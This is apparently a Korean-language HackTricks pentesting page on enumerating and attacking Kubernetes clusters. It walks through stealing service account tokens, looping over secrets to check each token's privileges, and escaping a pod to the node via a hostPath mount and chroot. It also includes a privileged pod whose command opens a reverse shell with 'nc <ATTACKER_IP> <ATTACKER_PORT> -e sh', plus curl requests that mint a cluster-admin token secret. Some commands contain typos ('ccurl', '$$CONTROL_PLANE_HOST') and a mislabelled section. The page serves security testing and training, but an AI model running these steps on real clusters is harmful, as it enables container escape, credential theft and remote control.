Kubernetes Enumeration
Reading time: 19 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Kubernetes Tokens
기계에 대한 접근 권한이 손상된 경우 사용자가 일부 Kubernetes 플랫폼에 접근할 수 있습니다. 토큰은 일반적으로 **env var KUBECONFIG
**로 지정된 파일이나 ~/.kube
내부에 위치합니다.
이 폴더에서는 API 서버에 연결하기 위한 토큰 및 구성 파일을 찾을 수 있습니다. 이 폴더에는 이전에 검색된 정보가 포함된 캐시 폴더도 있습니다.
Kubernetes 환경 내에서 포드를 손상시킨 경우, 현재 K8 환경에 대한 토큰 및 정보를 찾을 수 있는 다른 장소가 있습니다:
Service Account Tokens
계속하기 전에 Kubernetes에서 서비스가 무엇인지 모른다면 이 링크를 따라가서 Kubernetes 아키텍처에 대한 정보를 최소한 읽어보는 것을 권장합니다.
Kubernetes 문서에서 인용:
“포드를 생성할 때 서비스 계정을 지정하지 않으면 동일한 네임스페이스의 기본 서비스 계정이 자동으로 할당됩니다.”
ServiceAccount는 Kubernetes에 의해 관리되는 객체로, 포드 내에서 실행되는 프로세스에 대한 신원을 제공합니다.
모든 서비스 계정은 관련된 비밀을 가지고 있으며 이 비밀에는 베어러 토큰이 포함되어 있습니다. 이는 두 당사자 간에 클레임을 안전하게 표현하는 방법인 JSON Web Token (JWT)입니다.
일반적으로 하나의 디렉토리:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
다음 파일을 포함합니다:
- ca.crt: Kubernetes 통신을 확인하기 위한 CA 인증서입니다.
- namespace: 현재 네임스페이스를 나타냅니다.
- token: 현재 포드의 서비스 토큰을 포함합니다.
이제 토큰을 가지고 있으므로 환경 변수 KUBECONFIG
내에서 API 서버를 찾을 수 있습니다. 더 많은 정보는 (env | set) | grep -i "kuber|kube
**"
**를 실행하여 확인하세요.
서비스 계정 토큰은 sa.key 파일에 있는 키로 서명되고 sa.pub로 검증됩니다.
Kubernetes의 기본 위치:
- /etc/kubernetes/pki
Minikube의 기본 위치:
- /var/lib/localkube/certs
Hot Pods
Hot pods는 특권 서비스 계정 토큰을 포함하는 포드입니다. 특권 서비스 계정 토큰은 비밀 목록 작성, 포드 생성 등과 같은 특권 작업을 수행할 수 있는 권한이 있는 토큰입니다.
RBAC
RBAC가 무엇인지 모른다면 이 섹션을 읽어보세요.
GUI Applications
- k9s: 터미널에서 Kubernetes 클러스터를 열거하는 GUI입니다. https://k9scli.io/topics/commands/에서 명령어를 확인하세요.
:namespace
를 입력하고 모두 선택한 후 모든 네임스페이스에서 리소스를 검색하세요. - k8slens: 무료 체험일을 제공합니다: https://k8slens.dev/
Enumeration CheatSheet
K8s 환경을 열거하기 위해 필요한 몇 가지 사항은 다음과 같습니다:
- 유효한 인증 토큰. 이전 섹션에서 사용자 토큰과 서비스 계정 토큰을 검색하는 방법을 보았습니다.
- Kubernetes API의 주소 (https://host:port). 이는 일반적으로 환경 변수 및/또는 kube 구성 파일에서 찾을 수 있습니다.
- 선택 사항: API 서버를 검증하기 위한 ca.crt. 이는 토큰을 찾을 수 있는 동일한 장소에서 찾을 수 있습니다. 이는 API 서버 인증서를 검증하는 데 유용하지만,
kubectl
에서--insecure-skip-tls-verify
를 사용하거나curl
에서-k
를 사용하면 필요하지 않습니다.
이 세부 정보를 통해 Kubernetes를 열거할 수 있습니다. API가 어떤 이유로 인터넷을 통해 접근 가능하다면, 해당 정보를 다운로드하고 호스트에서 플랫폼을 열거할 수 있습니다.
그러나 일반적으로 API 서버는 내부 네트워크에 있으므로, 손상된 기계를 통해 터널을 생성하여 자신의 기기에서 접근해야 하며, 또는 kubectl
바이너리를 업로드하거나 **curl/wget/anything
**을 사용하여 API 서버에 대한 원시 HTTP 요청을 수행할 수 있습니다.
Differences between list
and get
verbs
get
권한으로 특정 자산의 정보를 접근할 수 있습니다 (kubectl
의 describe
옵션):
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
list
권한이 있는 경우, 자산 유형을 나열하기 위해 API 요청을 실행할 수 있습니다 (kubectl
의 get
옵션):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
watch
권한이 있는 경우, 자산을 모니터링하기 위해 API 요청을 실행할 수 있습니다:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
그들은 변경될 때마다(또는 새로 생성될 때마다) 배포의 전체 매니페스트를 반환하는 스트리밍 연결을 엽니다.
caution
다음 kubectl
명령은 객체를 나열하는 방법을 나타냅니다. 데이터를 액세스하려면 get
대신 describe
를 사용해야 합니다.
curl 사용하기
포드 내부에서 여러 환경 변수를 사용할 수 있습니다:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
warning
기본적으로 pod는 kube-api 서버에 kubernetes.default.svc
도메인 이름으로 접근할 수 있으며, **/etc/resolv.config
**에서 kube 네트워크를 확인할 수 있습니다. 여기에서 kubernetes DNS 서버의 주소를 찾을 수 있습니다(같은 범위의 ".1"이 kube-api 엔드포인트입니다).
Using kubectl
토큰과 API 서버의 주소를 가지고 kubectl 또는 curl을 사용하여 여기에서 지시한 대로 접근합니다:
기본적으로, APISERVER는 https://
스키마로 통신하고 있습니다.
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
만약 URL에
https://
가 없다면, Bad Request와 같은 오류가 발생할 수 있습니다.
공식 kubectl 치트시트는 여기에서 확인할 수 있습니다. 다음 섹션의 목표는 접근한 새로운 K8s를 열거하고 이해하기 위한 다양한 옵션을 정리된 방식으로 제시하는 것입니다.
kubectl
이 보내는 HTTP 요청을 찾으려면 -v=8
매개변수를 사용할 수 있습니다.
MitM kubectl - kubectl 프록시화
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
현재 구성
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
사용자 자격 증명을 훔쳤다면 로컬에서 구성할 수 있습니다. 다음과 같은 방법을 사용하세요:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
지원되는 리소스 가져오기
이 정보를 통해 나열할 수 있는 모든 서비스를 알 수 있습니다.
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
현재 권한 가져오기
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
권한을 확인하는 또 다른 방법은 도구를 사용하는 것입니다: https://github.com/corneliusweig/rakkess****
Kubernetes RBAC에 대해 더 알아보려면:
Kubernetes Role-Based Access Control(RBAC)
어떤 권한이 있는지 알게 되면, 다음 페이지를 확인하여 이 권한을 남용하여 권한을 상승시킬 수 있는지 알아보세요:
Abusing Roles/ClusterRoles in Kubernetes
다른 역할 가져오기
k get roles
k get clusterroles
네임스페이스 가져오기
Kubernetes는 동일한 물리적 클러스터를 기반으로 하는 다수의 가상 클러스터를 지원합니다. 이러한 가상 클러스터를 네임스페이스라고 합니다.
k get namespaces
비밀 가져오기
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
비밀을 읽을 수 있다면, 다음 줄을 사용하여 각 토큰과 관련된 권한을 얻을 수 있습니다:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
서비스 계정 가져오기
이 페이지의 시작 부분에서 논의한 바와 같이 포드가 실행될 때 일반적으로 서비스 계정이 할당됩니다. 따라서 서비스 계정을 나열하고, 그 권한과 실행 위치를 확인하면 사용자가 권한을 상승시킬 수 있습니다.
k get serviceaccounts
배포 가져오기
배포는 실행해야 하는 구성 요소를 지정합니다.
k get deployments
k get deployments -n custnamespace
Get Pods
Pods는 실제로 실행될 컨테이너입니다.
k get pods
k get pods -n custnamespace
서비스 가져오기
Kubernetes 서비스는 특정 포트와 IP에서 서비스를 노출하는 데 사용됩니다 (이는 실제로 서비스를 제공하는 포드에 대한 로드 밸런서 역할을 합니다). 이는 공격을 시도할 수 있는 다른 서비스를 찾을 수 있는 위치를 아는 데 흥미롭습니다.
k get services
k get services -n custnamespace
노드 가져오기
클러스터 내에 구성된 모든 노드를 가져옵니다.
k get nodes
DaemonSets 가져오기
DaemonSets는 특정 파드가 클러스터의 모든 노드(또는 선택된 노드)에서 실행되도록 보장합니다. DaemonSet을 삭제하면 해당 DaemonSet이 관리하는 파드도 제거됩니다.
k get daemonsets
크론잡 가져오기
크론잡은 crontab과 유사한 구문을 사용하여 특정 작업을 수행할 포드를 실행하도록 예약할 수 있습니다.
k get cronjobs
configMap 가져오기
configMap은 항상 많은 정보와 kubernetes에서 실행되는 앱에 제공되는 configfile을 포함합니다. 일반적으로 다른 내부/외부 서비스에 연결하고 검증하는 데 사용되는 많은 비밀번호, 비밀, 토큰을 찾을 수 있습니다.
k get configmaps # -n namespace
네트워크 정책 가져오기 / Cilium 네트워크 정책
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
모든 것 가져오기 / 전체
k get all
헬름에 의해 관리되는 모든 리소스 가져오기
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
Pod 소비량 가져오기
k top pod --all-namespaces
kubectl을 사용하지 않고 클러스터와 상호작용하기
Kubernetes 제어 평면이 REST-ful API를 노출하므로, HTTP 요청을 수동으로 작성하고 curl 또는 wget과 같은 다른 도구를 사용하여 전송할 수 있습니다.
포드에서 탈출하기
새 포드를 생성할 수 있다면, 이를 통해 노드로 탈출할 수 있습니다. 이를 위해서는 yaml 파일을 사용하여 새 포드를 생성하고, 생성된 포드로 전환한 다음 노드의 시스템으로 chroot해야 합니다. 이미 존재하는 포드를 yaml 파일의 참조로 사용할 수 있으며, 이들은 기존 이미지와 경로를 표시합니다.
kubectl get pod <name> [-n <namespace>] -o yaml
특정 노드에 포드를 생성해야 하는 경우, 다음 명령어를 사용하여 노드의 레이블을 가져올 수 있습니다.
k get nodes --show-labels
일반적으로, kubernetes.io/hostname 및 node-role.kubernetes.io/master는 선택하기에 좋은 레이블입니다.
그런 다음 attack.yaml 파일을 생성합니다.
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
그 후에 포드를 생성합니다.
kubectl apply -f attacker.yaml [-n <namespace>]
이제 다음과 같이 생성된 포드로 전환할 수 있습니다.
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
마지막으로 노드의 시스템에 chroot합니다.
chroot /root /bin/bash
정보 출처: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
특권 포드 생성
해당 yaml 파일은 다음과 같습니다:
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
curl을 사용하여 포드를 생성합니다:
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Delete a pod
curl을 사용하여 pod 삭제:
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
서비스 계정 생성
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
서비스 계정 삭제
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
역할 생성
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
역할 삭제
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
역할 바인딩 생성
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
역할 바인딩 삭제
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
비밀 삭제
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
비밀 삭제
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
References
Kubernetes Pentest Methodology Part 3
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.